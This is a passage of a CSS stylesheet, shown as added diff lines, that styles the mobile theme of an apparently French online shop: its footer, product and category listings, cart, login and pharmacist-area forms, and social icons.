+ FOOTER +################################################################################################ */ +#footer { + background:#000; + width:640px; + margin:60px 0 0px; + padding:50px 0 110px; + border-top:1px solid #2a2a2a; +} + +#newsletter { + margin:0 auto; + width:96%; +} + +#newsletter .ui-field-contain label.ui-input-text { + width:auto; +} + +/*#newsletter .ui-btn { + position:relative; + top:8px; +}*/ +h2.site_map { + text-align:center; +} + +#lnk_footer { + margin:0 auto; + padding:2%; + background:#ddd; +} + +#lnk_footer li .ui-btn { + display:inline-block; + text-align:left!important; +} + +#lnk_footer .ui-btn-up-a,#lnk_footer .ui-btn-hover-a { + color:#333; + text-shadow:none!important; + border:none!important; + background:none!important; +} + +#lnk_footer .ui-btn-hover-a { + text-decoration:underline; +} + +#lnk_footer .ui-btn-inner { + padding:2px!important; + border:0; +} + +#footer .ui-field-contain { + text-align:center; +} + +#account_link { + text-align:center; + padding:10px 0; +} + +#account_link .ui-block-a { + width:46%; + padding:0 2%; + text-align:right; +} + +#account_link .ui-block-b { + width:46%; + padding:0 2%; + text-align:left; +} + +#bar_footer { + margin:0px 0 0; + display:none; +} + +#link_bar_footer { + padding:15px 0; +} + +#link_bar_footer .ui-block-a { + width:46%; + padding:0 2%; +} + +#link_bar_footer .ui-block-b { + width:46%; + padding:0 2%; + text-align:right; +} + +.ui-body-c #footer #account_link .ui-link { + color:#333!important; +} + +.ui-body-c #footer #link_bar_footer .ui-link { + color:#fff!important; +} + +/* ################################################################################################ + HOMEPAGE +################################################################################################ */ +#slider { + margin:0 0 10px; +} + +#highlight { + margin:0 0 10px; +} + +#category { + /*margin:0 0 10px;*/ +} + +/* ################################################################################################ + CATEGORY +################################################################################################ */ +#category h1 { + text-align:left; +} + +#category .container-sort { + float:right; +} + +#category .container-sort-bottom { + float:left; +} + +#category-list .ui-li-thumb { + float:none; + position:relative; +} + +#category-list .ui-block-a .ui-btn-inner { + border-right:1px solid #ccc; +} + +#category-list .ui-li-heading { + height:45px; + white-space:normal; +} + +#category-list .ui-li-price { + text-align:right; + color:#900; + font-size:12pt; + font-weight:700; +} + +#category-list .ui-li-price-info { + text-align:right; + font-size:7pt; + text-transform:uppercase; +} + +#category-list .ui-li-price-info span { + display:inline-block; +} + +#category-list .ui-li-price-info.discount span { + background-color:#9B0000; + color:#fff; + text-shadow:none; +} + +#category-list .ui-btn-icon-right .ui-icon { + display:none; +} + +.product-list-row { + margin-right:0!important; + margin-left:0!important; +} + +/* ################################################################################################ + CART +################################################################################################ */ +.price_on_accordion_cart { + position:fixed; + right:30px; + padding:4px; + background:red; + border-radius:50%; +} + +.accordeon_cart .test { + margin:0; +} + +.accordeon_cart div.ui-collapsible-content { + margin:0; +} + +.information_details_cart p { + margin-top:10px; +} + +.total_price .ui-bar h3 { + display:block; + text-align:right; +} + +.cart_total_bar h3 { + margin:0 0 10px; +} + +.cart_total_bar .btn-row { + text-align:right; +} + +.cart_total_bar .ui-btn { + margin:10px 0 0; + display:inline-block; +} + +.total_price p { + margin:5px 0; + font-size:12px; + text-align:right; +} + +.cart img.img_product_cart { + margin-top:.7em; + border-radius:0; +} + +.ui-controlgroup.grouped_buttons_card,fieldset.ui-controlgroup.grouped_buttons_card { + margin:0; +} + +.grouped_buttons_card,.display_block_card_product { + text-align:center; + margin-top:10px; +} + +/* ################################################################################################ + PRODUCT +################################################################################################ */ +/* .second_container{ + float: left; + margin-top:0; + margin:0 1%; + padding:0 1%; + width: 96%; + text-align:center + } + .first_container{ + margin:0 1%; + padding:0 1%; + width:96%; + float:left; + text-align:center +}*/ +.category_desc { + margin:0 0 10px; + padding:10px 5px; + border:1px solid #ccc; + box-shadow:1px 1px 2px #ccc; + -moz-border-radius:5px; + -webkit-border-radius:5px; + border-radius:5px; +} + +.category_desc p { + margin:0; + padding:0; +} + +.category_desc .hide_desc { + display:none; +} + +.category_desc .lnk_more { + float:right; +} + +.category_desc .lnk_more .ui-btn-inner { + font-size:80%; + padding:.4em 10px .4em 33px; +} + +#product_title h1 { + width:62%; + margin-left:5%; + float:left; +} + +#product_title span { + width:25%; + margin:14px 3% 10px 5%; + font-size:20px; + font-weight:700; + text-align:right; + float:left; +} + +.product_img_wrapper { + text-align:center; +} + +.product_img_wrapper img { + width:95%; + max-width:none; + max-height:none; + margin:0; +} + +#attributes-1 .ui-select { + float:left; +} + +#select_attributes .ui-select { + float:left; +} + +.product_page { + text-align:center; +} + +.description { + text-align:left; +} + +.quantite { + text-align:left; +} + +.img_product { + margin:0 auto; +} + +.img_product_list { + margin:0 auto; +} + +.view_product { + background:#fff; +} + +.view_product .view_full_size { + text-align:center; +} + +.view_product .thumbs_list_frame { + list-style-type:none; +} + +.view_product .thumbs_list_frame li { + float:left; +} + +.view_product .thumbs_list_frame li img { + margin:0 6px; + border:1px solid #CDCDCD; +} + +.list_view { + text-align:center; +} + +#product_page { + width:100%; +} + +.ui-btn.disabled,.ui-btn.disabled .ui-btn-inner { + background-color:#DDD; + color:#aaa; + cursor:default; +} + +.ui-btn.disabled .ui-btn-inner { + border-top:1px solid #ddd; +} + +.ui-btn.disabled button,.ui-btn.disabled input { + cursor:default; +} + +.ui-btn-hover-c.disabled { + border:1px solid #CCC; +} + +.content_prices .online_only { + font-weight:700; + font-size:10pt; + color:#900; + text-transform:uppercase; + margin:0; + padding:0; +} + +.content_prices .price { + text-align:right; +} + +.content_prices .price .on_sale { + background-color:#F8DC0C; + padding:2px 5px; + font-size:12pt; + border:1px solid #DDA84E; + margin:2px 0; + display:inline-block; +} + +.content_prices .price p { + margin:0; + padding:0; +} + +.content_prices .price .old_price_display { + text-decoration:line-through; + font-size:11pt; +} + +.content_prices .price .old_price .reduction_amount_display,.content_prices .price .old_price .reduction_percent { + background-color:#9B0000; + color:#fff; + text-shadow:none; + padding:0 5px; + margin:0 0 0 5px; + font-weight:700; +} + +.content_prices .price .our_price_display { + color:#900; + font-size:21pt; + font-weight:700; +} + +.content_prices .price .unit-price,.content_prices .price .price-ecotax { + margin:10px 0 0; +} + +#more_info_block ul li { + font-size:9pt; +} + +.accessories_block ul { + list-style-type:none; + margin:0; + padding:0; +} + +.accessories_block li { + background-color:#111; + border-bottom:1px solid #555; + padding:5px; +} + +.accessories_block li.last_item { + border:none; +} + +.accessories_block li .col-left { + word-wrap:break-word; + float:left; +} + +.accessories_block li .col-right { + float:right; + width:100%; + margin:0 0 0 -68px; +} + +.accessories_block li .col-right .inner { + margin:0 0 0 78px; +} + +.accessories_block li .col-right .inner p,.accessories_block li .col-right .inner .s_title_block { + margin:0; + color:#fff; +} + +.accessories_block li .col-right .inner .s_title_block { + font-size:10pt; +} + +.accessories_block li .col-right .inner p { + color:#aaa; +} + +.accessories_block li .price { + text-align:right; + font-size:14pt; + font-weight:700; +} + +.accessories_block li .btn-row { + text-align:right; +} + +/*.third_container{float:left}*/ +/* ################################################################################################ + PRODUCT +################################################################################################ */ +/* ################################################################################################ + 404 +################################################################################################ */ +#not_found { + padding:3%; +} + +.input_search_404 { + text-align:center; +} + +.nbr_result { + position:relative; + top:6px; + font-size:14px; +} + +/* ################################################################################################ + OPC +################################################################################################ */ +h3.bg { + padding:8px; + color:#fff; + background:#666; + text-shadow:0 1px 0 #000!important; +} + +.block { + margin:10px 0; + padding:10px; + border:1px solid #bbb; + background:#dbdbdb; +} + +.block h3 { + margin-top:0; +} + +ul.adress { + list-style-type:none; + margin:0; + padding:0 0 0 10px; +} + +#cart { +} + +#cart h3 { + margin:0; + padding:0; +} + +#cart input { + margin:5px 0; +} + +#cart .ui-li-desc { + margin:0; +} + +#voucher { +} + +#voucher h3 { + margin:0; +} + +#cart_price .ui-btn-up-c { + border:none; + background:none; +} + +.lnk_CGV { + padding:0; +} + +/* ################################################################################################ + LOGIN +################################################################################################ */ +.login_form .submit_button { + float:right; +} + +.login_form .forget_pwd { + margin:5px 0 0; + padding:0; + font-size:.8em; +} + +.login_form .ui-btn { + float:right; +} + +/* ################################################################################################ + CATEGORY +################################################################################################ */ +#category-list li a { + position:relative; +} + +#category-list li .ui-li-desc { + padding:0; + margin:0; +} + +#category-list li .ui-li-price-info span { + padding:2px 5px; +} + +.new { + position:absolute; + top:17px; + right:-22px; + margin:0; + padding:2px 0; + width:100px; + text-align:center; + background-color:rgba(162,29,28,0.9); + -moz-transform:rotate(45deg); + -webkit-transform:rotate(45deg); + -o-transform:rotate(45deg); + color:#fff; + text-shadow:none; + text-transform:uppercase; + font-size:8pt; +} + +#category-list .online_only { + position:absolute; + margin:0; + padding:0; + top:32px; + right:-29px; + margin:0; + padding:2px 0; + width:142px; + text-align:center; + background-color:rgba(0,0,0,0.5); + -moz-transform:rotate(45deg); + -webkit-transform:rotate(45deg); + -o-transform:rotate(45deg); + text-shadow:none; + text-transform:uppercase; + font-size:8pt; + color:#fff; +} + +/* ################################################################################################ + MY ACCOUNT +################################################################################################ */ +#list_myaccount .ui-li-icon { + top:.7em; +} + +.lnk_my-account_home { + display:block; + padding:20px 0 0; +} + +/* ################################################################################################ + LAYERED +################################################################################################ */ +#layered { +} + +#layered h3 { + margin:30px 0 0; +} + +#layered .color-option { + margin-left:0; + margin-right:5px; + padding:0; + height:16px; + display:inline-block; + width:16px; + border:1px solid #666; +} + +/* ################################################################################################ + Manufacturer +################################################################################################ */ +.nbrmanufacturer { + margin:15px 0 10px; + padding:8px 7px; + font-size:12px; + color:#000; + background:none repeat scroll 0 0 #ddd; +} + +/* ################################################################################################ + STORES +################################################################################################ */ +#stores_search_block { + margin-top:20px; + padding-left:10px; +} + +.stores_block { + margin-top:25px; + display:none; +} + +.stores_block .ui-listview span.image { + display:table-cell; + position:absolute; + left:0; + top:0; + vertical-align:middle; + width:80px; + height:80px; +} + +.stores_block .ui-listview span img { + position:relative; + display:inline; + vertical-align:middle; +} +#full-site-section{ + float:left; + margin:-20px 0 0 0; +} +#full-site-section a { + font-weight:400; + font-size:12px; +} + +#authentication #account-creation_form p.select label { + display:inline; + font-size:16px; + font-weight:400; + line-height:1.4; + margin:0 0 .3em; + padding:0; +} + +#authentication #account-creation_form div.ui-radio label span { + text-align:center; +} + +html{background:#000000;} +body,body.ui-mobile-viewport{width:640px;margin:0 auto;position:relative;} +#cart_block{display:none;} +body .ui-grid-a{background:#000000;} +body .ui-body-c, +body .ui-overlay-c { + text-shadow: 0!important; +} + +/* userinfo.css */ +.hidden{display:none;} +#header_right { + background: url("../img/headerInfosMobile.png") no-repeat scroll 0 20px transparent; + display:block; + margin:0 auto; + margin:0px 0 30px; + width:626px; + height: 37px; + line-height: 37px; + position:relative; + z-index: 2; + padding-top:20px; +} +#header_user{ + float:left; + min-width:220px; + height: 37px; + line-height: 37px; + margin-top:0; +} +#header_user ul{ + list-style:none; + margin:0; + height: 37px; + line-height: 37px; + padding:0; +} +#header_user li{ + padding:0 ; + height: 37px; + line-height: 37px; + float:left; +} +#header_user li#shopping_cart{ + width:223px; + text-align:center; +} +#header_user a{ + display:block; + color:#fafafa; + font-size:14px; + height: 29px; + line-height: 29px; + margin:2px 0 0; + text-transform:uppercase; + font-weight:normal; + border-right:1px solid #3d422a; +} +#header_user a span{ + text-transform:none; +} +#header_user img{ + vertical-align:-1px; +} +#header_user a span{ + /*color:#c0db42; + text-transform:none;*/ +} +/* +#header_user p{padding:0;} +#header_user p a{ + position:absolute; + top:50px; + right:12px; + width:auto; + line-height:14px; + height:14px; + color:#b2b2b2; + font-size:8px; + text-transform:uppercase; + padding:0 4px 0 12px; + background:#323232 url('../../img/flecheGrise.png') no-repeat 4px center; +} +*/ +#header_nav .newsletter{display:none;} + +/* languages */ +/* block top languages */ +#header_right #languages_block_top { + float:right; + width:183px; + line-height:37px; + height:37px; + position:relative; +} +#header_right #languages_block_top p { + display:block; + color:#fafafa; + font-size:14px; + height: 29px; + line-height: 29px; + margin:2px 0 0; + text-transform:uppercase; + font-weight:normal; + text-align:center; + border-left:1px solid #3d422a; + +} +#languages_block_top ul#first-languages li {} +#languages_block_top ul#first-languages li.selected_language {} +/*languages with jquery*/ +#countries { + cursor: pointer; + position: relative; + top: 1px; +} +#countries p { + position: relative; + top: 0; + padding: 0; +} +#countries p img { + padding-left: 5px; + vertical-align:-1px; +} +#countries .countries_ul{ + display:none; + z-index: 10000; + padding:10px; + list-style-type:none; +} +#countries .countries_ul_hover, +#countries:hover ul{ + display: block; + height: auto; + padding: 1px 10px; + position: absolute; + left: 50px; + top:25px; + margin:0; + padding:0; + width: 100px; + z-index: 5000; +} +#languages_block_top ul#first-languages li{ + display:inline; + float:none; + width:auto; + margin:0 10px 0 0; +} + + +#ou_nous_trouver_top{ + width:210px; + float:left; + text-align:center; + height: 34px; + line-height: 34px; +} +#ou_nous_trouver_top a{ + width:210px; + float:left; + text-align:center; + text-transform:uppercase; + display:block; + font-size:14px; + height: 29px; + line-height: 29px; + color:#bfda3f; + margin:2px 0 0; +} +#logoTop{ + padding:0 0 30px; +} + +/* MENU */ +#header .sf-contener{ + clear:both; + height:70px; + padding:0 0 5px 0; + line-height:25px; +} +#header .sf-contener ul{ + margin:0; + padding:0; + height:70px; +} +#header .sf-contener li{ + float:left; + width:128px; + margin:0; + padding:0; + line-height:25px; + list-style:none; + text-align:center; + position:relative; +} + +#header .sf-contener li:first-child{ + padding:0 5px; + width:118px; +} +#header .sf-contener li a{ + line-height:25px; + font-size:15px; + display:block; + color:#ffffff; + text-transform:uppercase; + padding:10px 0; +} +#header .sf-contener li:last-child{ + display:none; +} +@media (max-width:700px){ + #header .sf-contener li{ + float:left; + width:105px; + margin:0; + padding:0; + line-height:25px; + list-style:none; + text-align:center; + position:relative; + } + #header .sf-contener li:first-child{ + width:118px; + padding:0px !important; + } + li.nosProduits{ + padding:0px !important; + } +} +#header .ui-grid-a{overflow:visible} +#homeslider{margin:0;padding:0;} +.bx-wrapper .bx-next, +.bx-wrapper .bx-prev{ + height:225px; +} +.center{text-align:center;} + +#homeslider li{position:relative;} +.homeTxt{ + position:relative; + width:513px; + height:235px; + padding:44px 62px 36px 65px; + background:url('../img/homeTxt.png') no-repeat 0 0; +} +.homeTxt a, +.homeTxt span{ + color:#000000; + display:block; + text-align:center; +} +.homeTxt .bloc1{ + height:90px; +} +.homeTxt .title{ + text-transform:uppercase; + font-size:50px; + line-height:50px; + font-family:Times New Roman; +} +.homeTxt .subtitle{ + font-size:32px; + line-height:32px; + font-family:Times New Roman; +} +.homeTxt .description{ + text-transform:uppercase; + font-size:18px; + font-family:Times New Roman; + padding:0 40px 20px; + line-height:26px; +} +body .homeTxt a.legende{ + width:481px; + height:47px; + line-height:47px; + background:url('../img/homeTxtA.png') no-repeat 0 0; + margin:0 auto; + display:block; + font-size:12px; + color:#000000!important; + font-size:18px; + text-transform:uppercase; +} + .homeTxt a.legende:hover{ + text-decoration:none; + background:url('../img/homeTxtA.png') no-repeat 0 -47px; +} + + +body #devspehomeblocks{ + width:640px; + padding:0; + margin:80px auto 0; +} +body #devspehomeblocks li{ + background:#000000; + margin:0 0 80px; + border:1px solid #303030; + padding:0; + width:auto; + display:block; + float:none; + height:229px; +} + +body #devspehomeblocks li .title{ + font-size:30px; + padding:24px 8px 16px; +} +body #devspehomeblocks li .subtitle{ + font-size:20px; +} +body #devspehomeblocks li .description{ + font-size:16px; + line-height:24px; + padding:0 20px 0 0; +} +body #devspehomeblocks li.alternate { + background: url("../img/homeblock2.png") no-repeat scroll right -1px transparent; + color: #000000; + border:0; + margin:0; +} +body #devspehomeblocks li img{ + height:230px; + margin:0px 33px 0 0px; +} + +body #devspehomeblocks li a.legende{ + top:163px; + width:160px; + height:37px; + line-height:37px; + font-size:16px; + color:#000000; + text-transform:uppercase; + padding:2px 30px 1px 24px; + background:url("../img/homeblockFleche1.png") no-repeat scroll right center #B9DA1A; + left:263px!important; +} +body #devspehomeblocks li.alternate a.legende{ + top:163px; + height:37px; + line-height:37px; + color:#ffffff; + background:url("../img/homeblockFleche2.png") no-repeat scroll right center transparent; +} +#footer li{ + list-style:none; + display:inline; + float:none; + margin:0 0 40px; + padding:0 17px; +} + +#footer .liens{ + text-align:center; + padding:0; + margin:0 0 40px; +} +#footer .liens li{ + background:url('../img/footerSpacer.png') no-repeat left center; + padding:0; + margin:0; +} +#footer .liens li:first-child{ + background:none; +} +#footer .liens li.green a { + color: #c5dd50; +} +#footer .liens li a { + color: #cccccc; + font-size: 14px; + padding: 17px; + text-transform:uppercase; +} + + + +#footer #social_block{ + width: 100% !important; + height:46px; + display:block; + text-align: center; + float:none; +} +#footer #social_block ul{ + margin:0; + padding:0; +} +#footer #social_block ul li{margin:0 30px 0 0;} +#footer #social_block ul li:last-child{margin:0;} +#footer #social_block ul li a, +#footer #social_block ul li{ + padding: 0; + border: 0; + float: none; + width: 31px; + height: 31px; + display: inline-block;; +} +#footer #social_block ul li a{background:url('../img/sprite_social.png') no-repeat;} +#footer #social_block ul li.facebook a{background-position:0 0;} +#footer #social_block ul li.facebook:hover a, +#footer #social_block ul li.facebook a:hover{background-position:0 -31px;} +#footer #social_block ul li.twitter a{background-position:-41px 0;} +#footer #social_block ul li.twitter:hover a, +#footer #social_block ul li.twitter a:hover{background-position:-41px -31px;} +#footer #social_block ul li.rss a{background-position:-82px 0;} +#footer #social_block ul li.rss:hover a, +#footer #social_block ul li.rss a:hover{background-position:-82px -31px;} +#footer #social_block ul li.instagram a{background-position:-123px 0;} +#footer #social_block ul li.instagram:hover a, +#footer #social_block ul li.instagram a:hover{background-position:-123px -31px;} + + +/* philosophie */ +.type-interior .borderGreen{ + padding:30px 15px 30px; + border-top:7px solid #b9da1a; + background:#ffffff; + margin:0 0 80px; +} +.type-interior .borderGreen h1{ + color:#000000; + font-size:30px; + line-height:30px; + text-align:center; + margin:0 0 30px; + font-weight:normal; + font-family:Times New Roman; + text-transform:uppercase; +} +.leftCol{clear:both;} +#philosophie .leftCol img{float:left;margin:0 30px 0 0;} +.leftCol h2{ + font-size:11px; + font-weight:bold; + color:#000000; + padding:0; + font-family:Arial,Sans-Serif; + line-height:17px; +} +.leftCol p{ + font-size:11px; + line-height:17px; + font-weight:normal; + color:#666666; + font-family:Arial,Sans-Serif; +} +.centerCol{ clear:both;} +.clear{clear:both;} + +.type-interior .tiroir{ + clear:both; +} +.type-interior .tiroir h3{ + background:url('../img/fondH3.png') 0 center; + border:1px solid #d9d9d9; + /*height:43px; */ + padding:0; + margin:0 0 10px; + cursor:pointer; +} +.type-interior .tiroir h3 span{ + cursor:pointer; + display:block; + color:#92af06; + /*line-height:43px;*/ + /*height:43px;*/ + font-size:24px; + font-weight:bold; + padding:7px 12px 7px 46px; + line-height:29px; + display:block; + font-family:Times New Roman; + background:url('../img/moreless.png') no-repeat 14px -115px; +} +.type-interior .tiroir.open h3{ + margin:0; +} +.type-interior .tiroir.open h3 span{ + background:url('../img/moreless.png') no-repeat 14px 20px; +} +.type-interior .tiroir div.texte{ + padding:20px 46px 20px 46px; + color:#000000; + font-size:12px; + border:1px solid #d9d9d9; + border-top:0; + margin:0 0 10px; +} +.type-interior .tiroir div.texte p{ + margin:0; + padding:0; +} +body .type-interior .rightCol{ clear:both;} +.rightCol iframe{width:640px;height:360px;} +.rightCol .bloctitre{ + background:url('../img/blocPhilosophie.png') no-repeat 0 0; + width:540px; + height:338px; + padding:25px 50px; +} +body .type-interior .rightCol .video{ + padding:0 0 20px; +} +body .type-interior .rightCol h5, +body .type-interior .rightCol h4{ + line-height:46px; + height:46px; + font-size:30px; + color:#000000; + margin:0px 0 20px; +} +body .type-interior .rightCol img{ + float:left; + margin:0; +} +body .type-interior .rightCol p{ + color:#000000; + font-size:20px; + font-family:Arial,Sans-Serif; +} +body .type-interior .rightCol .description{ + min-height:110px; +} +body .type-interior .rightCol .button{ + margin:0 0 0 240px; +} +body .bloctitre .image{ + float:left; + margin:0 30px 10px 0; +} +body .rightCol ul { + padding: 14px 0; + margin:0; +} +body .rightCol ul li{ + list-style:none; + padding:0 20px; +} +.ui-body-c .ui-link.button{ + background:url('../img/button247.png') no-repeat 0 0; + line-height:36px; + height:36px; + padding:0 0 0 40px; + width:207px; + color:#000000; + text-transform:uppercase; + display:block; +} +.ui-body-c .submit .ui-link.button{ + background:#b9da1a; + width:auto; + padding:0; +} +.ui-body-c .submit .ui-link.button.simple, +.ui-body-c .ui-link.button.simple{ + background:#b9da1a; + width:auto; + padding:0 20px; +} +.breadcrumb{ + padding:20px 0 20px 24px; +} +.breadcrumb .navigation-pipe{ + color:#ffffff; +} +.ui-mobile .breadcrumb a.ui-link{ + color:#ffffff; + padding:0 12px 0 0; +} +.ui-mobile .breadcrumb span{ + color:#ffffff; + padding:0 12px 0 0; +} +.breadcrumb .navigation_page{ + color:#BFDA3F; + padding:0 12px; +} + +.filtreProduits{ + border-bottom:1px solid #000000; + padding:0 0 30px; +} +body .borderGreen .pagination{ + padding:20px 0 20px; + line-height:44px; + font-size:18px; + color:#000000; + float:right; +} +body .borderGreen .pagination li{ + float:left; + line-height:44px; + height:44px; + margin:0 0 0 10px; + font-size:18px; +} +#presse .borderGreen .items{ + border:0; + margin:0; +} +#presse .borderGreen .items li .texte{ + color:#000000; +} +#presse .borderGreen .items li .floatLeft{ + width:143px; + float:left; + margin:0; +} +#presse .borderGreen .items li .floatRight{ + width:300px; + float:right; + margin:0; +} +#presse .borderGreen .items li img.image { + border: 0 none; + float: left; + margin: 0 0px 20px 0; +} +.borderGreen .items li{ + list-style:none; +} +.pagination span, +.pagination a{ + width:44px; + height:44px; + line-height:44px; + color:#ffffff; + background:#b9da1a; + font-size:18px; + float:left; + border:0; +} +.ui-body-c .pagination a.ui-link, +.ui-body-c .pagination a.ui-link:hover{ + border:0; + color:#ffffff +} +.borderGreen .pagination li.current span{ + color:#ffffff; + background:#000000; +} +.ui-body-c .borderGreen, .ui-overlay-c .borderGreen{ + color:#000000; +} +.ui-body-c .borderGreen p.success, .ui-overlay-c .borderGreen p.success{ + color:#BFDA3F; +} +body .borderGreen .filtreProduits label{ + font-size:18px; +} +#espacepharmaciens form.std fieldset { + border:0; + background:url('../img/bgEspacepharmaciens.jpg') no-repeat 0 0; + width:439px; + height:305px; + padding:40px 45px; +} +.uppercase{text-transform:uppercase;} +.times{font-family:Times New Roman;} + +body form.std p.text input{ + padding:0 10px; + height: 44px; + line-height: 44px; + font-size:16px; + color:#999999; +} + +body input::-moz-placeholder, +body textarea::-moz-placeholder { + color: #AAAAAA; + font-size:16px; + color:#000000; + opacity:1; + filter:alpha(opacity=100); +} +#espacepharmaciens form.std p.text .ui-input-text{ + float:left; +} +#espacepharmaciens form.std p.submit { + padding-right:28px; +} +#espacepharmaciens form.std p.text input.inputText388{ + width:378px; + background:url('../img/inputText388.png') no-repeat 0 0; + margin:0 0 10px 25px; +} +#espacepharmaciens h3{ + margin:0 0 10px; +} +#espacepharmaciens form.std p.text{ + height:64px; + padding:0; + margin:0; +} +#espacepharmaciens form.std p.submit input.inputText388{ + /*background:#b9da1a; + border:1px solid #afcf18; + float:right; + width:154px; + height:44px; + color:#000000; + margin:0 25px 0 0;*/ +} +body form.std .ui-btn{ + /*background: linear-gradient(#B9DA1A, #B9DA1A) repeat scroll 0 0 #a9c717;*/ + background:#B9DA1A; + background-image:-webkit-gradient(linear,left top,left bottom,from( #B9DA1A ),to( #B9DA1A )); + background-image:-webkit-linear-gradient( #B9DA1A,#B9DA1A ); + background-image:-moz-linear-gradient( #B9DA1A,#B9DA1A ); + background-image:-ms-linear-gradient( #B9DA1A,#B9DA1A ); + background-image:-o-linear-gradient( #B9DA1A,#B9DA1A ); + background-image:linear-gradient( #B9DA1A,#B9DA1A ) + + /*background:#a9c717;*/ + border: 1px solid #a9c717; + font-weight:normal; +} +body form.std .ui-btn{ + /*background:#b9da1a; + border:1px solid #afcf18; + float:right; + width:154px; + height:44px; + color:#000000; + margin:0 25px 0 0;*/ + width:154px; + float:right; + margin:0 25px 0 0; + font-family:Times New Roman; + font-size:18px; + text-transform:uppercase; + color:#000000; +} +body form.std .ui-btn:hover{ + color:#000000; +} +body .ui-btn-corner-all{ + -webkit-border-radius: 0px; + -moz-border-radius: 0px; + border-radius: 0px; +} + +#cms .rte a{ + color:#000000; +} + + + + + + + + + +#footer{clear:both;} +.ui-select .ui-btn select{ + width:344px +} +.select .days, +.select .months, +.select .years{ + float:left; + height:40px; + width:90px; +} +.select .days select, +.select .months select, +.select .years select{ + width:90px; +} +.select .days .ui-select .ui-btn, +.select .months .ui-select .ui-btn, +.select .years .ui-select .ui-btn{ + width:90px; + font-size:15px; +} +body form.std .select .days, body form.std .select .months{ + margin-right:60px; +} +body form.std .select .years{ + float:right; +} +body form.std .select .years .ui-btn .ui-btn-inner, +body form.std .select .days .ui-btn .ui-btn-inner, +body form.std .select .months .ui-btn .ui-btn-inner{ + padding:0 40px 0 0; + text-align:center; + font-weight:normal; +} +body form .select .ui-btn, +body form.std .select .ui-btn{ + width:384px; + background:#ffffff; + border: 1px solid #cacaca; + box-shadow:none; + -webkit-border-radius: 1px; + -moz-border-radius:1px; + border-radius:1px; + margin-right:0; +} +body form .filtreProduits .select .ui-btn{ + width: 350px; +} +body form .select .ui-btn .ui-icon, +body form.std .select .ui-btn .ui-icon{ + float:right; + background:url('../img/flecheMobileSelect.png') no-repeat center center!important; + height: 39px; + width: 41px; + right:0; + top:-2px; + margin:0; + border:0; + -webkit-border-radius: 0px; +-moz-border-radius:0px; +border-radius:0px; +box-shadow:none; +background-size:100% 100%; +} + +body form.std .text #retrieve-pwd-label { + width: 160px; +} + +body form.std label{ + font-size:18px; + width:auto; +} +body form.std label.ui-input-text{ + width:190px; +} +body form.std .naissance label.ui-select{ + width:190px; + line-height:26px!important; +} +body form.std .textarea label, +body form.std .text label, +body form.std .select label{ + font-size:18px; + float:left; + margin:0; + padding:3Px 0 0; + line-height:40px; +} +body form.std .select .ui-btn .ui-btn-inner{ + height: 37px; + line-height: 37px; + padding-top:0; + padding-bottom:0; + top:0; + text-align:left; +} +body form.std .select .ui-btn span{ + height: 39px; + line-height: 39px; +} + +#formContact label{width:auto;} + +body form .radio, +body form .select, +body form .text{ + padding:0; + font-size:18px; + line-height:40px; +} +body form div.radio, +body form div.select, +body form div.text{ + min-height:70px; +} +body form .text input{ + background:url('../img/inputText388.jpg') no-repeat 0 0; + width:368px; + padding:3px 10px 0 10px; + height:40px; + line-height:40px; + min-height;40px; +} +body form .textarea{ + height:400px; + resize:none; +} +body form .textarea label{ +line-height:30px; +} +body form .textarea textarea{ + background:url('../img/textarea388.jpg') no-repeat 0 0; + width:388px; + padding:10px 10px 10px 10px; + height:381px; +} +body form .ui-input-text{ + float:right; + width:388px; + box-shadow:none; + -webkit-border-radius: 0px; + -moz-border-radius:0px; + border-radius:0px; + background:none; + border:0; + color:#000000; + margin:0; +padding:0; +} + +body form .radio .ui-btn, +body form .checkbox .ui-btn { + background: #ffffff; + border: 0; +} +.ui-radio .ui-btn-icon-left .ui-icon-radio-off, +.ui-radio .ui-btn-icon-left .ui-icon, +.ui-checkbox .ui-btn-icon-left .ui-icon-checkbox-off, +.ui-checkbox .ui-btn-icon-left .ui-icon{ + background:url('../img/checkbox_off.png') no-repeat 0 0; + width:37px; + height:38px; + left:0; + top:11px; + margin:0; + background-size:22px 22px; +} +.ui-radio .ui-btn-icon-left .ui-icon-radio-off, +.ui-radio .ui-btn-icon-left .ui-icon-radio-on{ + top:16px; + left:10px; +} +.ui-checkbox .ui-btn-icon-left .ui-icon-checkbox-off +{ + box-shadow:none; + background:url('../img/checkbox_off.png') no-repeat 0 0; +} +.ui-checkbox .ui-btn-icon-left .ui-icon-checkbox-on{ + box-shadow:none; + background:url('../img/checkbox_on.png') no-repeat 0 0; +} +.ui-radio .ui-btn-icon-left .ui-icon-radio-on{ + box-shadow:none; + background:url('../img/radio_on.png') no-repeat 0 0; +} +.ui-radio .ui-btn-icon-left .ui-icon-radio-off{ + box-shadow:none; + background:url('../img/radio_off.png') no-repeat 0 0; +} +.ui-checkbox input, +.ui-radio input{top:20px; +display:none; +} + +body form.std .radio .ui-btn{ + margin:0 0px 0 0; + width:100px; +} + +body form.std .radio .ui-btn .ui-btn-inner{ + margin:0; + padding-right:0; +} + + +span.grey{color:#999999;font-size:14px;} + +body form.std .submit .ui-btn { + margin:0; + width:auto; + height:44px; + line-height:44px; + font-weight:normal; +} + +.ui-body-c .submit .ui-link.button span, +body form .submit .ui-btn .ui-btn-inner, +body form.std .submit .ui-btn .ui-btn-inner{ + margin:0; + padding:0 44px 0 20px; + line-height:44px; + height:44px; + background:url('../img/flecheSubmit.png') no-repeat right center; +} +body form .submit.submit33 .ui-btn-inner{ + text-transform:uppercase; + font-family: Times New Roman; + font-size: 18px; + line-height: 33px; +} +.ui-body-c .submit .ui-link.button{ + padding:0; +} +.ui-body-c .submit .ui-link.button.simple{ + padding:0 10px; +} +.ui-body-c .submit .ui-link.button.simple, +.ui-body-c .submit .ui-link.button span{ + line-height:37px; + display:block; + font-size:18px; + font-family:Times New Roman +} +#content.order form.std .submit .ui-btn .ui-btn-inner, +#content.order form.std .submit .ui-btn { + height:35px; + line-height:35px; +} +.textLoi{ + color:#999999; + clear:both; + padding:20px 0 40px; + font-size:12px; +} +/* cacher */ +.sf-right, +/*.nosProduits .categories_block, */ +#header_user_info{ + display:none!important; +} + +.blocRight h5{ + margin:0; + background:#b9da1a; + font-weight:normal; + color:#000000; + font-size:35px; + font-family:Times New Roman,Arial,Sans-Serif; + text-transform:uppercase; + height:65px; + line-height:65px; + text-align:center; +} +.blocRight{ + margin:0 0 65px; + color:#000000; + background:white; + -moz-box-shadow: inset 0px 0px 10px 1px #999999; +-webkit-box-shadow: inset 0px 0px 10px 1x #999999; +-o-box-shadow: inset 0px 0px 10px 1px #999999; +box-shadow: inset 0px 0px 10px 1px #999999; 